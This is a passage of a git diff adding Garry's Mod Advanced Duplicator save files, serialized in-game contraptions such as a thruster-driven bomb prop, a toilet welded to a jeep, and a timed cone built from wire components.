:25=N:0;}52F0BE78{T:365B7C68;T:43B64038;}365486E8{Y:24=N:80;Y:25=N:0;}465C5638{T:445B2E90;T:4471E8A0;}43FE1A78{T:44325F58;T:45501B28;}3619D758{Y:24=N:81;Y:25=N:0;} +[Dict] +1:"models/props_phx/construct/metal_dome360.mdl" +2:"Model" +3:"LocalAngle" +4:"LocalPos" +5:"Skin" +6:"Frozen" +7:"PhysicsObjects" +8:"prop_physics" +9:"Class" +10:"models/debug/debugwhite" +11:"MaterialOverride" +12:"material" +13:"Mass" +14:"mass" +15:"Color" +16:"RenderMode" +17:"RenderFX" +18:"colour" +19:"EntityMods" +20:"models/dav0r/hoverball.mdl" +21:"CollisionGroupMod" +22:"phoenix_storms/black_chrome" +23:"models/props_junk/MetalBucket01a.mdl" +24:"Index" +25:"Bone" +26:"Entity" +27:"Weld" +28:"Type" +29:"nocollide" +30:"forcelimit" +31:"NoCollide" +32:"Keepupright" +33:"angularlimit" +Saved:390 \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/nuke.txt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/nuke.txt new file mode 100644 index 0000000..eeccf9a --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/nuke.txt @@ -0,0 +1,51 @@ +[Info] +Type:AdvDupe File +Creator:"-=[UH]=- HeX" +Date:01/03/11 +Description:"none" +Entities:2 +Constraints:1 +[More Information] +FileVersion:0.84 +AdvDupeVersion:1.85 +AdvDupeToolVersion:1.9 +AdvDupeSharedVersion:1.72 +SerialiserVersion:1.4 +WireVersion:Not Installed +Time:02:32 PM +Head:91 +HoldAngle:0,-173.312,0 +HoldPos:-56.4571,2.37899,20.8808 +StartPos:12362.2,-1281.14,8.03125 +[Save] +Entities:H442DB028{N:91=T:52C6F7E8;N:90=T:5195AA30;}5312CF78{N:0=T:4447DC90;}5195AA30{Y:10=N:0;Y:1=A:0.191062,94.5541,86.5109;Y:12=Y:11;Y:6=Y:13;Y:8=Y:14;Y:4=T:5071ECC8;Y:15=N:5;Y:16=B:t;Y:18=Y:17;Y:2=V:19.1992,-0.821289,11.7557;Y:9=N:0;Y:19=N:0;Y:20=N:5472.1499023438;S:"key"=N:8;}4447DC90{Y:1=A:3.39737,-175.446,180.189;Y:2=V:-57.2305,-6.8761,17.5061;Y:3=B:t;}52C6F7E8{Y:4=T:5312CF78;Y:1=A:3.39737,-175.446,-179.811;Y:2=V:-57.2305,-6.8761,17.5061;Y:6=Y:5;Y:8=Y:7;Y:9=N:0;}57837130{Y:1=A:0.191062,94.5541,86.5109;Y:2=V:19.1992,-0.821289,11.7557;Y:3=B:f;}5071ECC8{N:0=T:57837130;} +Constraints:50B75C00{Y:22=N:91;Y:23=N:0;}531E0C40{Y:22=N:90;Y:23=N:0;}H44963958{T:57022908;}57022908{Y:16=B:t;Y:21=N:0;Y:24=T:54D6A788;Y:25=B:t;Y:27=Y:26;}54D6A788{T:531E0C40;T:50B75C00;} +[Dict] +1:"LocalAngle" +2:"LocalPos" +3:"Frozen" +4:"PhysicsObjects" +5:"models/props_phx/mk-82.mdl" +6:"Model" +7:"mk-82_sent_atomic_bomb" +8:"Class" +9:"Skin" +10:"damageable" +11:"plasma" +12:"effect" +13:"models/props_junk/metalbucket01a.mdl" +14:"gmod_thruster" +15:"key_bck" +16:"nocollide" +17:"WeaponDissolve.Beam" +18:"soundname" +19:"toggle" +20:"force" +21:"forcelimit" +22:"Index" +23:"Bone" +24:"Entity" +25:"deleteonbreak" +26:"Weld" +27:"Type" +Saved:14 \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/potty.txt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/potty.txt new file mode 100644 index 0000000..8e2426c --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/potty.txt @@ -0,0 +1,79 @@ +[Info] +Type:AdvDupe File +Creator:"-=[UH]=- HeX" +Date:07/02/11 +Description:"none" +Entities:4 +Constraints:4 +[More Information] +FileVersion:0.84 +AdvDupeVersion:1.85 +AdvDupeToolVersion:1.9 +AdvDupeSharedVersion:1.72 +SerialiserVersion:1.4 +WireVersion:Not Installed +Time:10:20 PM +Head:188 +HoldAngle:0,-3.3637,0 +HoldPos:-24.5144,-16.775,-1.73575 +StartPos:323.557,291.585,618.031 +[Save] +Entities:028F5248{N:0=T:02AE23F8;}028CEA30{S:"a"=N:0;S:"b"=N:255;S:"g"=N:0;S:"r"=N:246;}028F4CD0{;}028F2EF8{Y:14=Y:13;Y:16=Y:15;Y:19=T:029B6790;Y:9=Y:20;Y:22=Y:21;Y:24=Y:23;Y:2=Y:25;}02B0F6F0{Y:3=A:0.370614,1.88022,356.4;Y:4=V:64.7128,61.8064,18.4061;Y:6=B:f;}02AD21D8{S:"a"=N:0;S:"b"=N:255;S:"g"=N:0;S:"r"=N:246;}028CEA58{Y:3=A:-0.0909262,90.32,359.882;Y:4=V:16.3291,-18.9546,59.6747;Y:6=B:f;}028ACA98{Y:18=Y:42;Y:43=S:"0";}02B20EC8{Y:7=T:028D6E60;Y:9=Y:39;Y:26=T:02AF8928;Y:27=Y:46;Y:4=V:16.0118,-25.1904,104.703;Y:2=Y:45;Y:11=T:02B055B0;Y:3=A:2.30671,-177.981,2.2387;Y:5=N:0;}02AD27A0{Y:7=T:028F5248;Y:33=Y:32;Y:9=Y:34;Y:5=N:0;S:"key"=N:10;Y:3=A:-0.0363831,-75.9161,-179.872;Y:4=V:14.4167,-18.2878,17.8273;Y:2=Y:35;Y:36=B:t;Y:11=T:028F60D0;Y:37=N:0.05;Y:38=B:f;}02B38960{Y:3=A:2.30671,-177.981,2.2387;Y:4=V:16.0118,-25.1904,104.703;Y:6=B:f;}02B3BF70{Y:3=A:0.368475,1.88022,356.827;Y:4=V:-15.0638,-76.0759,22.4217;Y:6=B:f;}028AEF50{S:"a"=N:0;S:"b"=N:234;S:"g"=N:234;S:"r"=N:242;}02AFC398{Y:28=T:02AD21D8;Y:29=N:0;Y:30=N:0;}02AF3180{;}02B0F650{Y:3=A:0.367911,1.88022,356.421;Y:4=V:68.4119,-74.0965,22.416;Y:6=B:f;}028D6E60{N:0=T:02B38960;}02AE7FB0{Y:3=A:0.370489,1.88023,356.426;Y:4=V:-17.8423,59.8488,18.4245;Y:6=B:f;}028CF638{N:0=T:028CEA58;}02B0DFD0{Y:28=T:028CEA30;Y:29=N:0;Y:30=N:0;}02AF8928{Y:14=Y:13;Y:40=T:028F4CD0;Y:16=Y:41;Y:19=T:028ACA98;Y:9=Y:39;Y:22=Y:21;Y:24=Y:44;Y:2=Y:45;}029B6790{Y:18=Y:17;}02B055B0{Y:31=T:028F5C98;Y:47=T:02AF3180;}028F5C98{Y:28=T:028AEF50;Y:29=N:0;Y:30=N:0;}02ACD868{Y:7=T:02B465B0;Y:9=Y:12;Y:26=T:028F2EF8;Y:27=Y:15;Y:4=V:23.962,17.5566,1.72095;Y:2=Y:25;Y:11=T:02A60678;Y:3=A:0.339364,1.87999,0.445679;Y:5=N:0;}028F60D0{Y:10=N:20;Y:31=T:02AFC398;}02B1B3D8{Y:10=N:20;}02ACC490{Y:2=Y:1;Y:3=A:-0.0909262,90.32,-0.117584;Y:4=V:16.3291,-18.9546,59.6747;Y:5=N:0;Y:7=T:028CF638;Y:9=Y:8;Y:11=T:02B1B3D8;}02A60678{Y:31=T:02B0DFD0;}02ADCC00{Y:3=A:0.339364,1.87999,0.445679;Y:4=V:23.962,17.5566,1.72095;Y:6=B:f;}02AE23F8{Y:3=A:-0.0363831,-75.9161,180.128;Y:4=V:14.4167,-18.2878,17.8273;Y:6=B:f;}02B465B0{N:1=T:02AE7FB0;N:2=T:02B0F6F0;N:3=T:02B3BF70;N:4=T:02B0F650;N:0=T:02ADCC00;}H02B2D128{N:186=T:02ACC490;N:188=T:02ACD868;N:93=T:02AD27A0;N:189=T:02B20EC8;} +Constraints:02ADB3A0{Y:48=N:188;Y:49=N:0;}02B3E6D0{T:028AD9C0;T:02B28538;}028AE910{T:02AC5370;T:02ADB3A0;}028AD9C0{Y:48=N:93;Y:49=N:0;}02B28538{Y:48=N:188;Y:49=N:0;}02AE9180{Y:50=T:02A5FD40;Y:52=Y:51;Y:53=B:t;Y:54=N:0;}02A99E00{Y:50=T:02B3E6D0;Y:52=Y:55;}02B374C0{Y:48=N:93;Y:49=N:0;}02AC5370{Y:48=N:186;Y:49=N:0;}H46DCE138{T:02AE9180;T:02B4B600;T:02A99E00;T:02B2A518;}02B29AA0{Y:48=N:189;Y:49=N:0;}02B4B600{Y:50=T:02B4DEA0;Y:52=Y:51;Y:54=N:0;}02B4DEA0{T:02B29AA0;T:02AF4990;}02A5FD40{T:02B374C0;T:028F63C8;}028F63C8{Y:48=N:188;Y:49=N:0;}02AF4990{Y:48=N:186;Y:49=N:0;}02B2A518{Y:50=T:028AE910;Y:52=Y:51;Y:53=B:t;Y:54=N:0;} +[Dict] +1:"models/props_c17/furnituretoilet001a.mdl" +2:"Model" +3:"LocalAngle" +4:"LocalPos" +5:"Skin" +6:"Frozen" +7:"PhysicsObjects" +8:"prop_physics" +9:"Class" +10:"CollisionGroupMod" +11:"EntityMods" +12:"prop_vehicle_jeep" +13:"Half-Life 2" +14:"Category" +15:"Jeep" +16:"Name" +17:"scripts/vehicles/jeep_test.txt" +18:"vehiclescript" +19:"KeyValues" +20:"prop_vehicle_jeep_old" +21:"VALVe" +22:"Author" +23:"The regular old jeep" +24:"Information" +25:"models/buggy.mdl" +26:"VehicleTable" +27:"VehicleName" +28:"Color" +29:"RenderMode" +30:"RenderFX" +31:"colour" +32:"striderblood" +33:"effect" +34:"gmod_emitter" +35:"models/props_lab/tpplug.mdl" +36:"toggle" +37:"delay" +38:"starton" +39:"prop_vehicle_prisoner_pod" +40:"Members" +41:"Airboat Seat" +42:"scripts/vehicles/prisoner_pod.txt" +43:"limitview" +44:"A Seat from VALVe's Airboat" +45:"models/nova/airboat_seat.mdl" +46:"Seat_Airboat" +47:"VehicleMemDupe" +48:"Index" +49:"Bone" +50:"Entity" +51:"Weld" +52:"Type" +53:"nocollide" +54:"forcelimit" +55:"NoCollide" +Saved:96 \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/timed_cone.txt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/timed_cone.txt new file mode 100644 index 0000000..41f87aa --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/timed_cone.txt @@ -0,0 +1,102 @@ +[Info] +Type:AdvDupe File +Creator:"nil" +Date:04/25/10 +Description:"none" +Entities:24 +Constraints:25 +[More Information] +FileVersion:0.84 +AdvDupeVersion:1.85 +AdvDupeToolVersion:1.9 +AdvDupeSharedVersion:1.72 +SerialiserVersion:1.4 +WireVersion:1910 (exported) +Time:06:32 PM +Head:34 +HoldAngle:0,-164.342,0 +HoldPos:2.3954,18.3075,-7.20049 +StartPos:-3386.03,4194.81,64.0313 +[Save] +Entities:31704EE0{Y:30=T:34675A70;}31C2FF78{Y:2=A:89.0224,28.538,358.416;Y:3=V:-1.45142,-6.21729,3885.18;Y:4=B:f;}34A362E8{S:"A"=T:33693410;S:"B"=T:31919310;}345CD6E0{S:"a"=N:255;S:"r"=N:255;S:"g"=N:255;S:"b"=N:255;}318C11A8{Y:18=T:316C0548;Y:19=N:0;Y:20=N:0;}47C445C0{Y:21=T:345C5578;}326F4BF8{Y:30=T:331E7698;}3169D970{Y:30=T:318668C8;}3463B530{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}31C55948{Y:18=T:31BA7DE8;Y:19=N:0;Y:20=N:0;}31DD8C08{Y:17=N:20;Y:21=T:3186DF88;Y:31=T:32E37B48;}3294B340{S:"Clk"=T:32D06360;}3486D738{Y:2=A:-0.000197927,-70.1348,359.857;Y:3=V:-10.1362,-26.0278,3781.55;Y:4=B:f;}333C2C70{Y:2=A:5.60777e-011,-60.6985,3.7146e-006;Y:3=V:-20.7397,-0.362793,3910.61;Y:4=B:t;}34B1A050{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}2E311AB0{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}33693410{Y:22=T:47E26D10;S:"Src"=N:53;Y:23=S:"Out";Y:24=V:1.16,-2.59,1.16;Y:18=T:31861A80;Y:26=Y:56;Y:27=V:2.07,3.62,0.84;Y:28=N:0.5;}1F131CE8{Y:17=N:20;Y:21=T:31C55948;Y:31=T:31FC0CF8;}322A8950{Y:29=T:334B0F40;}334272E8{Y:29=T:320EB568;}33048E10{S:"a"=N:255;S:"r"=N:255;S:"g"=N:255;S:"b"=N:255;}31DED300{Y:18=T:32E4C120;Y:19=N:0;Y:20=N:0;}32F32410{Y:18=T:2E311AB0;Y:19=N:0;Y:20=N:0;}2E152F28{Y:21=T:31DED300;Y:31=T:326F4BF8;}31824488{N:0=T:32844DC8;}334B0F40{Y:22=T:34A42E28;S:"Src"=N:50;Y:23=S:"Out";Y:24=V:-0.472737,1.04502,1.16001;Y:18=T:31E1F628;Y:26=Y:25;Y:27=V:-2.49923,-2.70774,3.02431;Y:28=N:0;}34C79D60{Y:17=N:20;Y:21=T:34B07D28;}317283D0{N:0=T:31F8E010;}2EB0BC98{Y:1=N:1;Y:5=T:3487EAC0;Y:6=B:t;Y:8=Y:7;Y:10=Y:9;Y:11=N:0.019999999552965;Y:12=S:"0";Y:13=N:9999;Y:2=A:9.94427e-008,-57.4253,-4.99882e-007;Y:3=V:-27.1721,6.59814,3867.91;Y:14=N:0;Y:16=Y:15;Y:32=T:2EAF49C8;Y:33=N:0;Y:34=N:9999;}317EF598{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}326E0D20{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}32101380{S:"0.1";S:"1";}328868F0{Y:2=A:55.5664,156.574,179.099;Y:3=V:1.40942,-13.167,3878.85;Y:4=B:f;}47ED2A08{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}H2E8C3DC0{N:58=T:2EB0BC98;N:59=T:32C58238;N:60=T:47EC2F18;N:61=T:48067DD8;N:63=T:348DD4C8;N:34=T:48119090;N:36=T:346BDBD0;N:37=T:31FFD740;N:38=T:31D886C8;N:39=T:3470C590;N:41=T:3462B1B0;N:44=T:347DC900;N:45=T:336C1F50;N:46=T:31891558;N:48=T:34624CC8;N:49=T:338A7F00;N:50=T:312B6510;N:51=T:333EBE18;N:53=T:32A40CA0;N:54=T:31EC6610;N:55=T:48026B20;N:56=T:3306E630;N:57=T:3273DF78;N:70=T:334BF3E0;}32680E18{;}348F9DE0{Y:30=T:3131DD60;}3205A338{Y:18=T:34879770;Y:19=N:0;Y:20=N:0;}323A48C8{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}1F157CE0{;}312C3D00{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}34B67C20{Y:22=T:34C1E550;S:"Src"=N:48;Y:23=S:"Out";Y:24=V:-3.36,-0.33,1.12;Y:18=T:47C43298;Y:26=Y:56;Y:27=V:2.71,-1.31,1.16;Y:28=N:0.5;}31861A80{S:"a"=N:255;S:"r"=N:255;S:"g"=N:255;S:"b"=N:255;}31326988{Y:29=T:2E93C2F0;}3327EF10{Y:18=T:3463B530;Y:19=N:0;Y:20=N:0;}2DFE9210{N:0=T:32BD3908;}334BF3E0{Y:5=T:2DFE9210;Y:2=A:89.6674,147.044,117.985;Y:3=V:-9.32593,7.97559,3885.7;Y:14=N:0;Y:42=T:32101380;Y:10=Y:43;Y:16=Y:44;Y:32=T:2E129878;}32C75CE8{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}2E4041A0{S:"a"=N:255;S:"r"=N:255;S:"g"=N:255;S:"b"=N:255;}3306E630{Y:5=T:3469C858;Y:35=S:"=";Y:10=Y:36;Y:6=B:t;Y:14=N:0;Y:3=V:1.40942,-13.167,3878.85;Y:16=Y:37;Y:38=B:f;Y:32=T:348C71F8;Y:2=A:55.5664,156.574,179.099;}32FF9360{;}31919310{Y:22=T:480B1010;S:"Src"=N:61;Y:23=Y:39;Y:24=V:-0.56,-1.51,1.11;Y:18=T:48036340;Y:26=Y:56;Y:27=V:1.1,3.68,0.78;Y:28=N:0.5;}34B1A148{;}480B1010{;}2DF37DD0{T:32EECEF8;}348C71F8{Y:21=T:3205A338;Y:31=T:3305CF38;}321DE490{Y:18=T:32E402E8;Y:19=N:0;Y:20=N:0;}48055188{Y:2=A:89.8574,93.104,198.601;Y:3=V:-19.5654,-2.05322,2.39294;Y:4=B:t;}3189A008{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}34879770{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}31E55630{Y:22=T:335ABA68;S:"Src"=N:56;Y:23=S:"Out";Y:24=V:2.83,3.77,0.68;Y:18=T:2E4041A0;Y:26=Y:56;Y:27=V:-0.46,3.57,3.19;Y:28=N:0.5;}3221F828{;}32EEB238{Y:30=T:1F43C030;}334BCE80{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}3317DA88{Y:22=T:34B1A148;S:"Src"=N:50;Y:23=S:"Out";Y:24=V:-2.65728,-1.25913,1.15994;Y:18=T:34B1A050;Y:26=Y:25;Y:27=V:-2.69007,-1.72274,4.72782;Y:28=N:0;}32AEAF88{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}347C2678{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}1EF20B90{Y:18=T:312C3D00;Y:19=N:0;Y:20=N:0;}1EF5A3B8{N:0=T:346F1CB0;}32E4C120{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}47F50F28{Y:18=T:32AEAF88;Y:19=N:0;Y:20=N:0;}317EB518{Y:21=T:47F50F28;Y:31=T:32EEB238;}31E6FB40{N:0=T:2E8BBAD8;}31716B38{Y:18=T:346DFE90;Y:19=N:0;Y:20=N:0;}3461ED68{Y:2=A:0.0301624,115.287,181.24;Y:3=V:-17.6355,-7.23779,3862.72;Y:4=B:f;}331E7698{;}345DB5C0{N:0=T:3461ED68;}34696598{N:0=T:2E8DC578;}4811E790{Y:22=T:2D1F2050;S:"Src"=N:70;Y:23=Y:69;Y:24=V:-0.742188,-1.20264,1.13977;Y:18=T:33048E10;Y:26=Y:25;Y:27=V:-1.41113,2.54199,1.1604;Y:28=N:0;}2EAF49C8{Y:17=N:20;Y:21=T:330C7A30;Y:31=T:3169D970;}320EB568{Y:22=T:32F32E70;S:"Src"=N:50;Y:23=S:"Out";Y:24=V:0.428053,-1.32604,1.15992;Y:18=T:34BECC80;Y:26=Y:25;Y:27=V:-2.71629,0.977237,5.8777;Y:28=N:0;}48036340{S:"a"=N:255;S:"r"=N:255;S:"g"=N:255;S:"b"=N:255;}2E8EAA70{;}2E129878{Y:21=T:336F26F8;}0E5E6740{Y:2=A:89.9952,-165.14,180;Y:3=V:6.21948,-6.26807,3794.75;Y:4=B:f;}47E26D10{;}3305CF38{Y:30=T:34A362E8;}47C36658{Y:2=A:87.5818,-133.081,135.134;Y:3=V:-16.4238,-6.77637,3835.1;Y:4=B:f;}2E90C878{Y:22=T:2E8EAA70;S:"Src"=N:61;Y:23=Y:69;Y:24=V:-1.14,-0.69,1.14;Y:18=T:34624110;Y:26=Y:56;Y:27=V:-0.13,2.71,1.16;Y:28=N:0.5;}2DDF52B0{S:"a"=N:255;S:"r"=N:255;S:"g"=N:255;S:"b"=N:255;}335ABA68{;}3479B928{Y:22=T:332930D8;S:"Src"=N:59;Y:23=S:"Out";Y:24=V:3.05444,0.650797,1.16004;Y:18=T:47ED2A08;Y:26=Y:25;Y:27=V:-2.24416,2.02927,3.5415;Y:28=N:0;}348DD4C8{Y:2=A:43.5661,-150.698,180;Y:10=Y:45;Y:14=N:0;Y:46=N:0;Y:47=B:f;Y:48=N:1;Y:3=V:-10.0037,6.28809,3877.97;Y:16=Y:49;Y:50=B:t;Y:32=T:2E152F28;Y:5=T:317283D0;}2D1F2050{;}3273DF78{Y:16=Y:53;Y:2=A:0.0301624,115.287,-178.76;Y:3=V:-17.6355,-7.23779,3862.72;Y:14=N:0;Y:5=T:345DB5C0;Y:10=Y:54;Y:55=N:41;Y:32=T:317EB518;}33F5A0D8{Y:2=A:90,-150.698,180;Y:3=V:-6.02441,1.77441,3884.93;Y:4=B:f;}1F43C030{Y:29=T:31E55630;}346BDBD0{Y:16=Y:52;Y:2=A:0.165637,-70.1531,-0.0237427;Y:3=V:-21.1782,9.31689,3781.26;Y:14=N:0;Y:5=T:34696598;Y:10=Y:41;Y:32=T:32E7D670;}3131DD60{S:"A"=T:3348B318;Y:70=T:4811E790;}47EC2F18{Y:16=Y:40;Y:2=A:5.60777e-011,-60.6985,3.7146e-006;Y:3=V:-20.7397,-0.362793,3910.61;Y:14=N:0;Y:5=T:3365C2D8;Y:10=Y:41;Y:32=T:3467FE10;}327E2A88{Y:22=T:2DF37DD0;S:"Src"=N:70;Y:23=Y:39;Y:24=V:2.15,-1.37,1.08;Y:18=T:3373EFB8;Y:26=Y:56;Y:27=V:-0.42,1.36,1.16;Y:28=N:0.5;}2D4538F0{Y:29=T:3317DA88;}2E97C068{Y:18=T:32C75CE8;Y:19=N:0;Y:20=N:0;}32E37B48{Y:30=T:2D4538F0;}33386DF0{Y:21=T:31716B38;Y:31=T:31C2FBA0;}2EA56968{N:0=T:32D095E8;}31F5DA48{Y:21=T:2E97C068;Y:31=T:348F9DE0;}34BECC80{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}2E956BF8{N:0=T:33F5A0D8;}48026B20{Y:5=T:2E956BF8;Y:35=Y:67;Y:10=Y:36;Y:6=B:t;Y:14=N:0;Y:3=V:-6.02441,1.77441,3884.93;Y:16=Y:37;Y:38=B:f;Y:32=T:31F5DA48;Y:2=A:90,-150.698,180;}3373EFB8{S:"a"=N:255;S:"r"=N:255;S:"g"=N:255;S:"b"=N:255;}31C2FBA0{Y:30=T:3468D880;}327350D8{Y:2=A:89.7352,116.947,97.0304;Y:3=V:-34.9695,-16.792,3790.76;Y:4=B:f;}1EE26FA0{Y:18=T:317F4E78;Y:19=N:0;Y:20=N:0;}3121C990{Y:22=T:1F157CE0;S:"Src"=N:70;Y:23=Y:39;Y:24=V:-0.518311,1.10522,1.14099;Y:18=T:2DDF52B0;Y:26=Y:25;Y:27=V:1.20947,0.343261,1.16077;Y:28=N:0;}2E7CF580{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}32A40CA0{Y:5=T:2EA56968;Y:35=Y:67;Y:10=Y:36;Y:6=B:t;Y:14=N:0;Y:3=V:-4.97461,-9.48877,3875.03;Y:16=Y:37;Y:38=B:f;Y:32=T:33386DF0;Y:2=A:90,-150.698,180;}310963E0{Y:21=T:1EE26FA0;}334929F0{Y:2=A:-0.0844353,-60.7102,359.994;Y:3=V:-17.6516,-7.26221,3880.74;Y:4=B:t;}34A43890{Y:30=T:480E05D0;}330C7A30{Y:18=T:480DA618;Y:19=N:0;Y:20=N:0;}31891558{Y:16=Y:52;Y:2=A:-0.000197927,-70.1348,-0.14267;Y:3=V:-10.1362,-26.0278,3781.55;Y:14=N:0;Y:5=T:2EAEEB80;Y:10=Y:41;Y:32=T:34C79D60;}31EC6610{Y:16=Y:71;Y:2=A:-0.0844353,-60.7102,-0.00592041;Y:3=V:-17.6516,-7.26221,3880.74;Y:14=N:0;Y:5=T:32E7FC08;Y:10=Y:41;Y:32=T:310963E0;}3468D880{S:"A"=T:327E2A88;Y:70=T:2E90C878;}32844DC8{Y:2=A:89.9897,14.8601,180;Y:3=V:3.65796,-3.97949,3763.2;Y:4=B:f;}1F1A1B60{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}34624110{S:"a"=N:255;S:"r"=N:255;S:"g"=N:255;S:"b"=N:255;}30FEEE58{N:0=T:47C36658;}317F4E78{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}34675A70{S:"A"=T:328C0760;S:"B"=T:3121C990;}333EBE18{Y:5=T:30FEEE58;Y:2=A:87.5818,-133.081,135.134;Y:3=V:-16.4238,-6.77637,3835.1;Y:16=Y:60;Y:32=T:31D29E08;Y:10=Y:66;Y:14=N:0;}346DFE90{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}31BA7DE8{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}31728428{N:0=T:31C2FF78;}47F87710{N:0=T:47C3C278;}3470C590{Y:16=Y:52;Y:2=A:-0.0732618,-160.085,-0.178314;Y:3=V:-35.3108,-17.2246,3781.28;Y:14=N:0;Y:5=T:47F87710;Y:10=Y:41;Y:32=T:31E25E58;}32D096C8{Y:18=T:32DDF038;Y:19=N:0;Y:20=N:0;}348EF9A8{S:"a"=N:255;S:"b"=N:229;S:"g"=N:0;S:"r"=N:255;}2E93C2F0{Y:22=T:34C34FA0;S:"Src"=N:50;Y:23=S:"Out";Y:24=V:-0.290195,-0.745396,1.16;Y:18=T:317EF598;Y:26=Y:25;Y:27=V:-3.12764,0.0465572,5.17822;Y:28=N:0;}31F8E010{Y:2=A:43.5661,-150.698,180;Y:3=V:-10.0037,6.28809,3877.97;Y:4=B:f;}316C0548{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}34B26E48{Y:21=T:2EE391A8;Y:31=T:1F6DEAA8;}347DC900{Y:16=Y:53;Y:2=A:89.8692,-150.497,99.6401;Y:3=V:-10.5454,-25.6753,3807.34;Y:14=N:0;Y:5=T:47C4B210;Y:10=Y:54;Y:55=N:41;Y:32=T:1F2FB128;}1F2FB128{Y:17=N:20;Y:21=T:318C11A8;Y:31=T:2EF2C468;}32794BD8{Y:18=T:334BCE80;Y:19=N:0;Y:20=N:0;}31D29E08{Y:21=T:32794BD8;Y:65=T:311C7A10;}32EECEF8{Y:68=N:60;S:"Pos"=V:10.487,13.8873,-32.4995;}34624CC8{Y:5=T:31C12388;Y:35=Y:33;Y:10=Y:36;Y:6=B:t;Y:14=N:0;Y:3=V:6.21948,-6.26807,3794.75;Y:16=Y:37;Y:38=B:f;Y:32=T:34B26E48;Y:2=A:89.9952,-165.14,180;}318668C8{Y:29=T:3479B928;}34C1E550{;}2D94F7F0{Y:2=A:0.0047527,-165.14,360;Y:3=V:5.1123,-3.74707,3781.12;Y:4=B:t;}480E05D0{S:"A"=T:34B67C20;}32789058{Y:18=T:2ECF7328;Y:19=N:0;Y:20=N:0;}2E8BBAD8{Y:2=A:89.8739,165.987,236.136;Y:3=V:-21.5222,7.65674,3762.77;Y:4=B:f;}32E7FC08{N:0=T:334929F0;}3462B1B0{Y:16=Y:53;Y:2=A:89.7352,116.947,97.0304;Y:3=V:-34.9695,-16.792,3790.76;Y:14=N:0;Y:5=T:31F734A0;Y:10=Y:54;Y:55=N:41;Y:32=T:31DD8C08;}31F734A0{N:0=T:327350D8;}31FFD740{Y:16=Y:53;Y:2=A:89.8739,165.987,-123.864;Y:3=V:-21.5222,7.65674,3762.77;Y:14=N:0;Y:5=T:31E6FB40;Y:10=Y:54;Y:55=N:41;Y:32=T:33465768;}347BAB60{Y:30=T:31326988;}1F6DEAA8{Y:30=T:3294B340;}48067DD8{Y:5=T:34895598;Y:2=A:89.7601,-113.758,-145.038;Y:3=V:-8.68066,-2.7373,3874.96;Y:14=N:0;Y:42=T:1EE20690;Y:10=Y:43;Y:16=Y:44;Y:32=T:318B98A8;}34838A28{Y:21=T:34788CE0;Y:31=T:34A43890;}346F1CB0{Y:2=A:89.9897,-165.14,180;Y:3=V:5.60693,-3.95801,3807.53;Y:4=B:f;}312B6510{Y:5=T:1EF5A3B8;Y:35=S:"-";Y:10=Y:36;Y:6=B:t;Y:14=N:0;Y:3=V:5.60693,-3.95801,3807.53;Y:16=Y:37;Y:38=B:f;Y:32=T:34838A28;Y:2=A:89.9897,-165.14,180;}345C5578{Y:18=T:1F1A1B60;Y:19=N:0;Y:20=N:0;}325A2FD8{Y:17=N:20;Y:21=T:34882970;}329B88E0{N:0=T:2D94F7F0;}31FC0CF8{Y:30=T:334272E8;}31E25E58{Y:17=N:20;Y:21=T:1EF20B90;}32DDF038{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}31C12388{N:0=T:0E5E6740;}3496F438{S:"a"=N:255;S:"r"=N:255;S:"g"=N:255;S:"b"=N:255;}317D70F0{Y:2=A:9.94427e-008,-57.4253,-4.99882e-007;Y:3=V:-27.1721,6.59814,3867.91;Y:4=B:f;}34A67EF0{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}2ECF7328{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}32E7D670{Y:17=N:20;Y:21=T:32F32410;}31E1F628{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"